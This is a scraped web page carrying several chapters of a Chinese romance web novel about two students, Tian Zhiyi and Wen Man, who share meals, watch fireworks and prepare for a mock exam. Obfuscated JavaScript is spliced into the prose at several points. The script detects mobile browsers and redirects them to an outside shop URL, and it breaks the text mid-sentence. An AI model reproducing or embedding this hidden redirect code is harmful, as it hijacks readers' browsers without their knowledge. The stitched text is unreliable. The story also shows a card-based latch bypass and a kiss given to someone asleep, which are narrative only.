RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13964049|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小世界。 ……这算不算天赐的机会呢? 田知意默默地想。 等走回公寓,伞已经完全打湿了。 田知意对着外面甩了甩水,才拿进了闻漫的屋。 楼里的空调是由总机设置温度的,即便开到最热,温度也不会太高。 闻漫将餐桌清理出来,将电磁炉搬上屋中间的那张桌子。 他从橱柜里找出一袋吃了一半的红油锅底,掰下一块丢进了左边的锅里。 田知意不会切菜,就在水池边洗菜择菜,送给闻漫切好后装盘端上桌。 她正忙着,冷不丁听到闻漫唤她:“知意。” 他很少这样字正腔圆地喊她的名字,田知意愣了愣才反应过来:“怎么了?” “这两样可以帮我端到桌上吗?我要端锅了。” 田知意看了眼,是切好的葱姜蒜片和剁碎了番茄。 闻漫在鸳鸯锅的右边倒上些许油润润锅,待锅烧热后,下了葱姜蒜,香辛料的味道便沿着木铲在屋里逐渐扩散开。 他赶忙倒入番茄,一阵翻炒后,油烟与香味一齐在屋中弥漫。 “没有抽油烟机还是麻烦。”他搁下木铲去开窗,回头看了眼田知意,“可能会有些冷。” 田知意裹紧羽绒服,摇头示意他无事。 经过翻炒的番茄已经极香,纵使番茄锅自身爱好者田知意也不得不承认,闻漫有两下子。 待番茄碎炒软后,闻漫倒入他调好的酱料, 加入纯净水,稍一翻拌,便盖上了锅盖。 左边锅里的牛油已经受热融化,加上水后刚好一起煮。 透过玻璃锅盖,田知意看着两边锅底水面从平静变得“咕噜咕噜”冒气泡来,她心里的期待也如着锅里的气泡一般,逐渐膨胀。 “趁这个功夫,我们把料调了吧。”闻漫找出两个碟子两只碗,递了只碟子给田知意,“调料都在这儿了。” 田知意不知道他留着碗做什么,但清楚他自有他的道理,便乖顺地接过,在碟子里依次倒上麻油、醋、蚝油。 她吃火锅不喜欢太多蘸料,三样对她来说刚刚好。 回过头时,刚好看见闻漫正用大汤匙将煮好的番茄汤舀出来,一人一碗。 见她过来,闻漫将碗推到她面前:“尝尝。” 田知意刚刚端起碗,浓郁的番茄香便争先恐后地钻进鼻尖,还没尝上一口,番茄的味道便已经盈满口腔。 她轻轻抿了一口,酸甜得当,又有些浓鲜滋味,绝不疏于在火锅店喝过的肉汤。 “怪不得番茄锅底要自己炒来吃,喝起来的味道真好。” 闻漫正在往锅里加水,听到这话露出几分少年的得意:“下次我做腌笃鲜的锅底。” 腌笃鲜,是一道在苏城家家会做,却又不会拿上席面的菜。可以单纯做汤,也可以作为家庭火锅的锅底。 对田知意而言,有特别的意义。 ……也不知他是有心还是凑巧。 田知意心念一动,笑着答:“到时候你可要喊我。” “当然。”闻漫垂眼,边喝汤边低声喃喃,似是自语,“不然我还能喊谁呢?” 与他关系好的朋友也不是没有,但像这样闯入了他的生活,毫无芥蒂品尝他做的食物的人,似乎也只有田知意一个。 他的声音极轻,很快被揭锅盖时沸腾的水声掩盖了过去。 24. 梦成 田知意似乎听到他说了些什么,却又完全没有听清:“你刚说什么了吗?” 闻漫抬眼,神色如常地笑笑:“没有,我什么也没说。” 田知意瞥了眼,没从他神情里看出什么破绽,遂不疑有他:“那可能我听错了吧。” 她拿起盘子,把牛肉丸往辣锅和番茄锅里各下了一半,边下边问:“今晚有什么安排吗?” 昨晚的跨年夜在晚自习后的疲惫中度过了,田知意今晚热切地想放松一下。 “现在已经放晴了,晚上要不要去顶楼看烟花?”闻漫问。 “烟花?有人会放烟花吗?”田知意有些好奇。 “每年元旦假期都有的烟花表演,在顶楼的天台可以看到。大约能持续二十多分钟。” 田知意多了几分兴趣:“那我们怎么看呢?就站在天台上吗?” 闻漫思考片刻:“我这里有两张躺椅,如果抱点被子或者毯子上去,应该就不会冷了。” 这个意见初听有些离谱,细想下来却觉得也不是不能操作。 田知意配合地想了想:“从我那边抱一床,再从你这里抱一床,你把两张躺椅搬上去不就成了?” “对,就是这样。” 他们的火锅吃到天黑,餐后闻漫收拾卫生、打扫餐桌灶台,田知意帮忙洗完倒垃圾,忙完差不多到了演出时分。 和闻漫呆一起久了,她似乎也多了几分说干就干的爽气。 闻漫揭开墙角边罩着杂物的摆布,将两张折叠起来的躺椅并排放好,一同抱起来。 田知意帮他开了门。 从侧面看两张躺椅的用料很扎实,看起来颇有分量,教她不禁在心里感慨闻漫膂力惊人。 不过她也没有闲着,回屋取了被子后,又带着闻漫的被子一起,往顶楼走去。 他们住的楼层到顶楼不远,田知意到达时,只见闻漫将躺椅搁在一边的走道里,正专心对付通往顶楼天台的门。 “楼长锁门了?”田知意突然意识到什么,“这里现在不让上了?” 她洗衣服大多借用楼下洗衣房的洗衣机,晾也都晾在楼下,从来没观察过顶楼能不能上。 “最初是可以上的,后来有安全要求之后就关上了。不过这种老式锁还是难不倒我的。”闻漫从兜里掏出校园卡,“用卡就能划开。” 田知意不可思议地看着他:“这要能成,那上学还要什么人开门啊。” “你说对了。”闻漫将校园卡横过来,前1/2的部分贴着门缝塞进去,“我出门早,通常是班上第一个到的,有了几次这么进教室之后,我们班管钥匙的已经习惯晚起了。” 田知意不再说话。 她知道闻漫不是随意说大话的人,但这样的事着实匪夷所思,她不敢轻信。 只见闻漫将卡塞进去一半后,沿着门框慢慢顶着锁舌,一边顶一边贴着门框听锁舌的声响,约莫过了一两分钟,只听“啪嗒”一声,门径自敞开,外面的冷风呼呼地灌进来。 “走吧。”闻漫收好校园卡,搬起躺椅往天台走去。 田知意不敢耽搁,抱起被子跟上,临了还不忘关上门。 她关门时仍心有余悸地看了眼锁,深怕不小心把他俩锁在天台了。 “别担心。”闻漫边把躺椅展开边安慰她,“这门从天台这边是锁不住的。” 田知意将被子放在展开的躺椅上:“那要是有人从另一头把我们锁在这里呢?” 闻漫指了指墙角的花盆:“那下面有把起子,把锁拆了就能出去。” 田知意不信邪地走过去搬起花盆,果然发现了他说的起子。 “你在这儿玩密室逃脱呢。”她坐在躺椅上,给自己盖好被子,悄声问闻漫,“这些事有多少人知道?” “开门的技能我们班的都知道,但这栋楼里没有我们班的。至于起子,我只告诉了你。” “多谢信任。”田知意耸耸肩,“可惜我不会拆锁,建议下回直接藏钥匙。” “那可能要自己做一把了。” “自己做会不会太难了。”田知意随口感慨,“我看配钥匙的店配把钥匙很麻烦的,又锯又磨的,还要好多工具。” “不一定是做金属钥匙,木头的会方便很多。” 田知意没想到当真被他说出个子丑寅卯来:“木钥匙不会断吗?” “不太用力还好,而且断了也能粘起来的。”闻漫看田知意的神情愈发怀疑,举了个例证,“有本叫《越/狱:逃出普勒托利亚》的自传体小说,讲的就是主人公用自制的木头钥匙越/狱的故事。已经拍电影了,据说今年上映。” “主演是谁?” “哈利·波特,和奇洛教授。” 田知意笑出声了:“有人自制木头钥匙越/狱的电影想看程度100%,哈利·波特和奇洛教授一起越/狱的电影想看程度1000000%。” “等国内引进了去看?” 田知意歪着脑袋想了想:“好。” 说话间,烟花声从他们的头顶响起,炸开一朵玫瑰色的花。 烟花表演开始了。 在田知意的印象里,苏城已经烟花禁燃禁放了好一段时间。 她对放烟花的印象还停留在小时候,父亲买几桶小烟花,点燃之后大家退到一边,等着“咚咚咚”几声燃尽,天空一片亮堂堂的黄色,碎裂如流星般落了下来。 那时的她,对烟花有几分新奇,但更多是嫌吵闹。 尤其是迎财神的清晨,父亲总要放好长一串鞭炮,她被硬拖着起床,揉着眼睛犯困,再躺下时已再难好眠。 因而烟花禁放的初始,她还是有些兴奋的,觉得能安静地过个年。 可真当没了烟花,她又打心眼里觉得寂寞,仿佛年里缺了些什么,和往常也没了分别。 烟花表演似乎是近年来才在国内兴起的事,她以前只在日番里看过。 日本在夏季有观赏烟火大会的传统,男主和女主总在那时浪漫地约会,借着烟花的浪漫,说些平日里不敢说的告白的话。 有的话落在烟花升空的间隙里,刚好被听见;有的话被烟花掩盖得彻底,消失得无踪迹。 田知意偏头看了眼旁边地闻漫,突然觉得此时也有几分烟火大会的浪漫。 唯一的问题,可能是烟火离得太远,他们间有点动静都听得清清楚楚的,全然不能借着烟花炸开的巨响掩盖住自己的声音、说些平时想说但不敢的话。 最初的新鲜感过去,烟花表演也成了休闲的背景。 田知意侧过身,与闻漫聊天:“你家里怎么会有两张躺椅?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984258|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻漫看了看她:“往日我爸妈过来时,床给我妈睡,我爸和我一人一张躺椅睡门边。” 田知意脑补了一下那个场景:“那门边的桌子呢?” “立起来靠到墙角。” ……原来你的力气就是在这么干活中练出来的。 田知意默默想着,没有说出口,转而又问:“睡躺椅舒服吗?” “感觉还可以,这躺椅是三档调节的,真要睡的时候可以完全放平,除了有点硬,问题不算很大。”闻漫看田知意躺得不算很舒服,想起身帮她纠正,“为了看烟花方便,我特意将椅背立起来了,要帮你放平吗?” 田知意连连摆手:“这样就挺好,真放平了睡着怎么办?” 嘴上这么说着,田知意的眼皮却慢慢沉下来。 疲惫了这么久,难得了一天的休整,彻底的放松让她的筋骨都有些疲软,本来还聊着天的她,下一秒便趴着椅背沉入了梦乡。 闻漫本以为她不过是稍微打个盹,没想到她越睡越熟,连呼吸都沉了下来。 他起来晃了晃她,轻声喊她的名字:“知意,醒醒。” 可不知是否倦意太盛,她全然没有反应。 闻漫捂了捂脸。 下回他再也不出这种馊主意了。 田知意醒来时,正安分地躺在自己床上。 昨晚天台发生的一切,仿佛一场幻梦。 只是身上没脱的衣服,让她感觉到有几分大事不妙。 她记得她在天台上睡着了的……所以,她是怎么回来的? 这问题有些挠人,田知意早饭都没来得及吃,便跑到对面敲响了闻漫的屋门。 闻漫开门开得很快:“早啊。” 田知意被他这个突如其来的招呼打乱了气势,也不得不回了个招呼:“早上好。” 有些话,一旦泄了气,就很难连贯地说出口。 田知意盯着闻漫看了片刻,没从他脸上看出任何不对劲,只能支支吾吾地开口问道:“我记得我昨天在天台很困……我是怎么回来的?” “你跟着我走回来的。”闻漫说。 他说得一本正经。 田知意努力回想片刻,一点也无自己爬起来的印象:“真的?” “真的。”闻漫讲得有鼻子有眼,“你当时很困,我喊了你好几次,你才迷迷糊糊的起来。我就抱着你的被子走在前面,你跟着走在后面,先把你送回家了,我才把我的东西搬回来的。” 这下田知意不信也得信了:“原来是这样,打扰了。我今早起来看到衣服没换,以为……” 以为的事太过激进,她实在说不出口。 闻漫理解得摆摆手:“没关系,你可能是太困忘了吧。昨天是我带你上去的,带你下来也是应该的。” 等田知意转身,闻漫才关上门,一切自然得没有半分疑点。 唯独田知意心里依旧有个疙瘩。 闻漫的话完全找不出破绽,现场没有别的证据,楼道也没有监控…… 等等,楼道虽然没有监控,但她家里有啊。 田知意想起刚搬家时,父母为了她的安全给她在对门的位置安装了一个摄像头。 因为不联父母的手机,也没丢过东西,她就没怎么管。 现在刚好用上了。 25. 梦成 现在的家用监控设备非常简单,只需要在手机上装上相应的APP,就可以随时调看存在卡里甚至云盘里的视频。 田知意找出没怎么打开过的APP,却在要查看的瞬间的迟疑了。 可是真的要看吗? 她就像手握魔盒的潘多拉,怀揣着同样的好奇心,打量着名为“危险”的未知之物。 潘多拉打开魔盒的后果众所周知,那她得到的会是什么呢? 田知意无法给出肯定的回答。 或者说,如果事实真如闻漫所言,她看过就会安心了吗? 想到此处的田知意,像是一盆冷水迎面浇来,让她将手机放到一边,紧紧地抱住自己。 她看监控并不是想得到真相,她只想证明闻漫说了谎——她不是自己回家的。 她心里希冀着小说里的情节能降临到她的身上,而闻漫的答复打破了她的幻梦。 她希望闻漫是喜欢她的。 她想得到一份梦幻的爱。 田知意拍了拍自己的脸。 醒醒,田知意。 你只是想要人爱你罢了,没有必要为此而失去理智。 她软软地靠在椅背上,这才感觉到背后已被濡湿,是惊惧间沁出的冷汗。 手机屏幕因长时间没有操作而早已变黑,清晰地映出她写满疲惫的脸。 ……洗个热水澡就休息吧。 田知意这么想着,却听到“笃笃笃”的敲门声。 ……这么晚了,会是谁呢? 她刚坐定,不太想动弹,便懒洋洋地问:“谁呀?” “是我。”闻漫的声音从门外传来。 ……他是有什么要紧的事吗? 田知意一面想着,一面起身去开门:“怎么?还没休息呀。” 门一开,冷气直接灌进了屋,田知意在室内没有着外套,本就站不久,况且又见闻漫一副冻得不轻的模样,便招呼他进门:“有什么话进来说吧。” “我刚刚去取快递了。”闻漫把写着田知意的快递袋递给她,“而且你昨天走得急,伞忘拿了。” 公寓的一楼有单独的放快递的货架,白天开着门,晚上公寓的学生可以刷门禁进去取。 田知意这才想起昨天她确实撑着伞去闻漫家的,不过后来雪停不说还放晴了,便彻底忘了。 人家冒着寒冷帮她取了快递,又送伞过来,她不请人喝杯茶实在说不过去。 于是,田知意起身:“你稍微坐会儿,我去给你倒杯热水。” 闻漫也不推辞,坐在原位看她正在背的书。 田知意知道受了凉的人要喝姜茶祛寒,便找出例假期备着黑糖姜茶块,用开水冲开。 黑糖姜茶块是古法熬制的,冲开时会融化出姜末,效果也比市面上一般粉末状的速溶姜茶好很多。 田知意服药期间不能再乱吃止疼片,例假时就指着这姜茶续命。 “冻坏了吧。”田知意把杯子端到闻漫面前,“喝杯姜茶暖暖。” 闻漫看着漂浮在茶汤上的姜末:“你还特意准备了碎姜,真是太贴心了。” 田知意不方便解释内情,只“呵呵”地笑着:“快喝吧,喝了就不冷了。” 姜茶有些烫,闻漫吹了吹后抿了一口,依旧觉得烫,便干脆和她聊聊天,顺便晾凉茶汤:“我刚看到对着门的地方有个摄像头,自己装的吗?” 田知意点头:“刚来的时候装的,家里担心我的安全。” “这倒是很不错。”闻漫随口夸赞了几句,又问,“它是一直拍摄的,还是画面有人活动才拍摄的?” 田知意装上之后就没管过,哪里知道这些细节。细想下来,这摄像头主打省电,又据说能保存很久的监控,估计不会是一直拍的。 于是,她顺口胡诌:“有人活动才会拍。” 闻漫了然地点点头:“原来如此,看来是还在使用的。” 他的声音很轻,像是在自言自语。 若是平时田知意也不会关心他的自语,但这晚她一直被看监控的事折磨得心神不宁,好不容易平复下来又被他提起这茬,很难不对此敏/感:“怎么?你趁我不在家偷摸着开门进来过担心被拍到了?” 昨晚刚见识过他用校园卡开门,这事她还记得很清楚。 闻漫闻言,像是踩着尾巴一般惊慌:“没有,我哪来的本事开防盗门。” 说完,他举杯喝茶,似是要掩盖自己的尴尬。 “是哦。”田知意似笑非笑地看着他,“说来我一直觉得家里有哪里不对劲,别是不在的时候遭了贼。正好我好久没看这监控了,你要不和我一起看看,万一真发生了什么事,我也算有个帮手。” 闻漫握着杯的手很明显地攥紧了,他顿了片刻才干巴巴地出声:“我觉得……应该不至于。楼长的管理还是很严格的。” 田知意瞥了他一眼:“说得也是。时间不早了,你喝完茶早点休息吧。” 见她如此善解人意,闻漫如蒙大赦,飞快将杯中姜茶一饮而尽,起身与她道别。 田知意礼貌地与他道了晚安。 关上门,她笑着耸了耸肩。 ……这可不是我非要知道的。 没什么比困惑自解更爽的事了,这晚田知意的心情变得前所未有得好。 闻漫几乎是逃回自己屋里的。 姜茶喝得太急,火辣辣的味道仍残留在唇齿间,心里像是被姜撩拨起一团烈火,怎么深呼吸都祛不除。 ……好端端的问什么监控,这下全都露馅了。 他暗暗怪自己沉不住气,明明上午的表现堪称完美,偏偏非要画蛇添足晚上来确认一下。 反而越描越黑。 还好田知意的监控是对着门的,就算回看,也只能看到他抱着她进门。 至于将她放到床上之后…… 闻漫胸前一阵猛烈的起伏,一如昨晚面对她的睡颜时,仿佛有条毒蛇缠在他的颈项间,在他周身不安分地游动,在他耳边吐着信子,扰乱他的心智。 他闭上眼,眼前却全是昨晚的一幕幕。昨晚他也是这样闭了眼,又慌又乱地在她脸颊上落下一吻。 少女的皮肤比他想象的更加光滑,他的吻仿佛落在流水之上,羞涩的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993295|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大胆稍纵即逝。 他想监控一定拍到了他快步离开的仓皇身影。 他在心里谴责自己。 闻漫,你疯了。 接下来几日,闻漫一直有意识地关注着田知意,尤其在她说话时,总下意识屏住呼吸,生怕漏了半个字,不小心把深藏的心思给揭开了。 “闻漫,我有件事要问你。”这日,田知意找到闻漫,一开口就是极为郑重的语气。 闻漫一紧张又呼吸一滞,仿佛被人拎住了后脖颈:“怎么了?” “你听说下周要一模了吗?” ……啊,原来问的是学业。 他在心里解除了警报:“嗯,是有这事。” 田知意看出了他的异常:“你怎么看起来呆愣愣的,签浙大之后飘了?” “才没有。”闻漫一本正经地反驳,“一模怎么了吗?” 田知意被他的问题气笑了:“什么怎么了,一模比较重要。” 闻漫点点头:“是很重要啊,然后呢?” 田知意意识到要他准确理解她的意图似乎不大可能,决定换个交流的方式:“老师说一模的成绩是最接近高考成绩的,我有点担心我太看重这场考试,压力太大发挥失常。” 闻漫终于明白了她的意思:“那这几门里你觉得受压力影响最容易发挥失常的是哪一门呢?” 田知意想了想:“数学吧。” 就算完全没有压力,她的数学成绩也不够稳定,着实不能大意。 “那我们可以在一模前,掐时间模拟考一场数学,虽然不能完全比拟考场环境,但起码能暴露出部分问题,多少会有点用。” “这倒是个好主意。”田知意有些佩服闻漫敏捷的思维,“那时间就定在这周六下午吧。那……试卷用哪一张呢?” 一模的成绩之所以最能为作为高考成绩的参考,不仅因为一模考试时间在一轮复习结束、复习效果最好的时候,还因为一模的试卷风格、难度最接近高考真题,要找到能有如此效果的试卷并不容易。 如果直接用往年高考试卷的话,田知意又都已经刷了一遍,起不到相应的效果。 “用壶州去年的一模试卷吧?我也刚好没做过,可以跟你一起考,会更有考场的氛围。” “壶州的一模我应该没有考过……不过你没做过的试卷为什么会有呢?” “这个嘛,反正是用很奇特的方式。”闻漫故意语焉不详。 保险起见,田知意提出先看眼试卷:“要不我先确认一下。” “也行。” 闻漫从风琴包里找出一张被狠狠揉皱又后来压平的试卷,递给田知意。 他收拾东西向来齐整,很难想象会有这么一张惨不忍睹的试卷。 田知意扫了眼卷面,倒是干干净净半个符号都没有,一点不像是考场里的做过的试卷。 “你这张卷子哪来的?”田知意追问。 “原来的那位邻居……他考完后把试卷团成团扔在我家门口,我看是一模的试卷就捡回来了,他也没管我要。后来题多就忘了……你看,这不是用上了嘛。” 26. 梦成 田知意迟疑片刻才意识到闻漫说的邻居应该是她那间屋子的前任屋主。 ……一模刚考完就把试卷扔了,会不会有些太心大了? “那人怎么连试卷都扔……不学习吗?”田知意问。 “不知道。”闻漫摇头,“和他没什么交流,他比较宅。” 这倒是少见。 她以为闻漫是跟谁都能处得好的性子。 “不管怎么说,试卷是无罪的。”田知意拿过试卷,“我去复印两份,周六下午来找你。” “你是要预习一下试卷吗?”闻漫笑着问她。 “不会的,我会遵守考场纪律的。”田知意想了想,又补充,“这可是数学耶,平时都要鼓起勇气才能去看题的科目,我才不要和自己过不去。” 这话莫名戳中了她的笑点,田知意正说着就笑了起来,还蹲下捂着肚子笑了好一会儿。 等她停下来时,发现闻漫一直目不转睛地看着她。 田知意一愣,随即有些尴尬:“我好像有些太过了。” 闻漫答得飞快:“你笑起来好好看。刚来的时候你都不怎么笑的。” 田知意细想了番,那时的她呼吸都费力,更不用说笑这样消耗大的情绪了。即使是礼节性的不得不笑,也不过是扯一扯嘴角,装出个笑样。 想到这里,田知意垂眼:“那时候我性格好像是有些差,承蒙不弃……” “别这么说,谁都有状态不好的时候。” “是啊,我那时候状态很差。”田知意抿唇笑笑,“但我现在好多了。有时还能像刚刚那样笑得没有形象……” 她的话还没有说话就被闻漫打断了:“我喜欢看你笑的样子,喜欢听你的笑声。所以,今后请一定要多笑一笑。” 他说得很慢,近乎一字一顿。 仿佛是出自肺腑深处的告白。 田知意的脸腾地涨得通红:“你说什么呢……” 闻漫却难得执着:“好不好?” 田知意别开眼:“哪有你这样的请法……好吧,我答应就是了。” 说完,她连忙转身开门,躲进了屋里,贴着门板上跟闻漫道别:“晚安,今天谢谢你。” 她的心口剧烈地起伏,勉强才说完一句完整的话。 门外安静了片刻才传来闻漫的声音:“那么,晚安。” 他又恢复了平日冷静沉稳的模样。 田知意靠在门上,将刘海高撸上头顶,在心底默默地埋怨自己。 ……田知意啊田知意,你又把事情搞砸了。 现在闻漫还不知道该怎么想你呢。 纵然此前闹得有点尴尬,田知意还是在周六下午准时敲响了闻漫的屋门。 毕竟老师经常说了,学生的主要任务是学习。 闻漫给她开了门,神色淡淡的:“来了。” 田知意心下一紧。 ……看来他还没释怀。 想想也是,谁兴头上被冷不丁泼盆冷水能痛快呢? 她张了张唇,想说些找补的话,但一个字都想不出。 倒是闻漫,不知从哪里找出一只闹钟,放在桌子中间:“到整点我们就开始考试,时长2个小时,没有加试。” 见他如此正式,田知意也不好再说些有的没的,赶忙将试卷递给他,坐下等待分针走到整点。 屋内瞬间被寂静填满,俨然有了些考场的肃穆氛围。 他俩面对面坐着,田知意简单地扫了眼试卷,发现试题的计算量着实不小,虽然她平时也有意识地进行了刷题训练,但依旧略觉吃力。再抬眼看了眼闻漫,之间他已经完成了第一面的填空题,正翻面打算做第二页。 田知意:“……” ……这就是所谓的眼睛扫一扫答案就出来了吗? 她突然有些庆幸她是今天坐在这里考试,万一高考在考场上遇到个学霸,这样碾压级的做题速度一定很打击她的心态。 深吸口气,田知意也沉下心来做题。两个小时的时间在她笔下显得紧巴巴的,紧赶慢赶才在闻漫收卷前把最后一题的第一小问做完了。 她看着倒数第三题被放倒的艺术拱门欲哭无泪,那是道求拱门上的点到地面最大时拱门与地面夹角度数的应用题。 ……但是谁会没事要把艺术拱门放倒啊? 闻漫将两张试卷放在一起,边对答案边帮她改。 田知意觉得自己在答题时已经很注重的条理了,但一对比才发现她的思路不比毛线团丝滑多少。 她突然理解了那位考完一模就把试卷团了扔了的兄弟的心情,她现在也无比想把试卷团了扔了。 ……果然未经他人苦,莫劝他人善啊。 闻漫改完,对着田知意的试卷陷入沉思。 他的神色如常,看不出半点波动。但田知意着实心虚,因此读出了许多复杂的含义。 ……完了,一场考试把我的名声都考掉了。 “考得很差吗?”田知意小心翼翼地问。 “没有。我记得你说过你其他两门还挺好的。”闻漫依旧在思考,“我只是在想,以这样的数学水平,多少应该能上本一院校的。” ……至少不该流落到那样的班级。 “啊……那是个意外。”田知意想了想,决定和盘托出,“我妈把我的止疼片换了,我在数学考场上疼得神志不清,也没怎么答题。” 闻漫脸上闪过一丝惊讶:“她是故意的?” “按她的说法是5月份就换了,但那个月我没什么事,她就觉得没问题。”田知意垂眼,“但真相是那个月我没带止疼片去学校,吃的别人的,所以也没发现药被换了。” ……或许这就是命运的作弄。 闻漫很快意识到止疼片的作用。他不便多问,只能掩耳盗铃地岔开了话题:“这么看下来你的基础还可以的,几个知识点再巩固巩固就好了。” 他附身翻找地上书包里的笔记本,田知意则凑上前:“我考了几分?” 闻漫拿着笔记本起身:“我没打分,要不你自己算?” “常言道,做人做到底,送佛送到西……” “你不会算不出来吧?”闻漫将笔记本挡在眼前,笑着吐槽她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006939|147430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 田知意气得一把抢过他的笔记本:“这点分数我口算都行。” 闻漫不说话,只笑看着她,似乎在等她的口算结果。 田知意本就没细数错题,被他看得又心里发毛,越算越乱,干脆扭过脸去不理他。 “好了,重点还没帮你划呢。”闻漫拍了拍她的手臂,示意她把笔记本还回来,“你说的,送佛送到西。” 田知意这才转回来,把笔记本交还给他:“不生我气啦?” 闻漫一愣,很快意识到她指的是什么:“一开始就没有生气。” “我不信。”田知意盯着他的脸,仔仔细细地看,“今天我来的时候,你的脸都是板着的,超凶。” “凶吗?”闻漫笑着不承认,“帮你模拟考场严肃氛围而已。” 田知意说不过他,不和他掰扯,只看他在笔记本上用红笔做上标记。 他的字向来好看,整理成题集就更增加了几分如帖的工整。 “我划出来的题你一定要好好看,把相应的方法都要记熟,我下次看到你的时候要问的。” 田知意呼吸一滞:“我答不上来怎么办?” “那你就说明你没看,就把笔记本还给我咯。” “那不行。”田知意宝贝似的把他的笔记本护在怀里,“我要没背下来就躲着你,免得被你抽背。” 她以为她不过是句玩笑话,闻漫的双眼却一下子黯淡下来。 田知意一惊,手忙脚乱地收回自己的话:“我说着玩玩的,我会好好看的。” 闻漫抬起头,目不转睛地望着她:“你答不上来我也不要你还笔记,但请千万千万不要再躲着我。” ……那晚的事,终究还是影响了他的心绪。 田知意想。 她郑重地握住他的手,小小的手掌覆盖不住他的整个手背,只能轻轻地勾住他的大拇指:“我答应你。” 许是有了周六的预演,田知意的一模考试进行得格外顺利。试卷讲评结束后,班主任突然对着班里说了一句:“一模有全市的排名,感兴趣的可以来我办公室看一下。” 班上感兴趣的学生甚少,大多蔫蔫得趴在桌上,各想各的心事。 班主任似乎也习惯了这种班的这个现象,走出教室下课了。 田知意倒对自己的排名有些好奇,等班里有人起身活动后,她也跟着出了教室。 班主任办公室就在他们班的边上,下课时间门是敞开的。 田知意在边上探了探头,发现就他们班主任在,便轻轻敲了敲手边的门:“报告。” 班主任正举着保温杯喝茶,听到敲门声招呼她进来:“来看成绩吗?” 田知意点点头。 以往她极少主动进教室的办公室,一般都是考砸了被单独喊进来训话。在她看来,被喊进办公室与做了坏事没有分别。 因此,即便此时她是主动进来看名次的,面对班主任,还是不由自主地紧张了起来。 班主任只当没看见她的局促,从抽屉里抽出一张表:“你成绩挺好的,看最靠上的那一排就行了。” 27. 梦成 最靠上的那一排不就是第一名吗? 田知意被这小小的幽默逗笑了,她的成绩在这个班里遥遥领先并不是什么稀罕事,只是她本就不该来这里,她该收拾的、该挑战的,都是自己的过往和未来。 过度在意自己在一个环境中的定位,哪怕自己原先在这个环境中再卓然不群,终究也会被环境同化。 她的成绩在全市文科生中排100名以内,田知意不清楚这排名是高是低,只见班主任笑笑:“按往年的经验看,相当高考全省文科一千四五百名的样子,能考个好点的211,远点的985可能也能上。” 田知意有些诧异:“是吗?” 班主任瞥了她一眼:“我是排到教你们班,不是水平只能教你们班。” 田知意轻轻“哦”了声:“好的我知道了,谢谢曹老师。” 她意欲转身离开,却冷不丁被班主任叫住她:“有没有考虑过换个班?” 田知意抬头:“什么意思?” “从栽培班升到发力班去。”班主任跟她建议,“以你的成绩,应该更适合那里。” 重点发力班对提优很有一套,在本二冲本一、本一冲重点的复读生中很有好评。 “到那个班可以不做作业吗?”田知意问。 “作业是肯定要做的。”班主任脱口而出,随后才明白她的意思,“我懂了,你还在定期复查吗?” “一到两个月会去一次,药也还在吃。” 班主任双手背到脑后:“你现在感觉怎么样?” “还可以吧。” “那还在我班上吧。”班主任想了想,“你们都是成年人了,只要给予我应有的尊重,我不会太管你们的事。我知道这对你病情恢复有好处。” 田知意心思一动,想起一个人:“那冯钰呢?” 冯钰的离开,一直在她心里留了个结。她总觉得是因为她的告发才导致了冯钰的结局。 “早点离开那群人对她来说也是好事,人是要为自己的行为负责的。”班主任沉默片刻后,重复强调了那句话,“你们都是成年人了。” 成年人……负责…… 这些沉重的字眼让人莫名地心慌。 “那我能够为我自己的行为负责吗?” 田知意轻声问。 她有太多不确定的事。 如果有人能带领她,反倒能让她安心些,但过大的压力又会让她喘不过气来。 ……可真是令人为难。 班主任把成绩单推到她面前:“这已经很能说明问题了。更何况,我觉得你的问题在于为自己考虑得太少。” “太少?” 班主任没有继续说明,只是说:“做好决定自己未来的准备吧。” 什么叫决定自己的未来。 田知意不懂。 未来不就是高考考个好大学、选个热门的专业吗? 或许她会努力争取考个985大学,读个管理学,回家配合父亲经营山庄,帮助母亲照顾妹妹,过上平静的啃老生活。 当然或许也可能是弟弟,但是田知意似乎在非得二选一的情况下,还是想要个妹妹。 ……这就是她想要的未来吗? 谁又能说清楚呢。 一模结束后,新年已然近了。 毕业班的寒假通知拖到新年前几天才姗姗来迟。 田知意收拾完回家的行李去和闻漫道别:“年后见。” “再见。”闻漫想了想又补充,“除夕夜我会给你拜年的。” 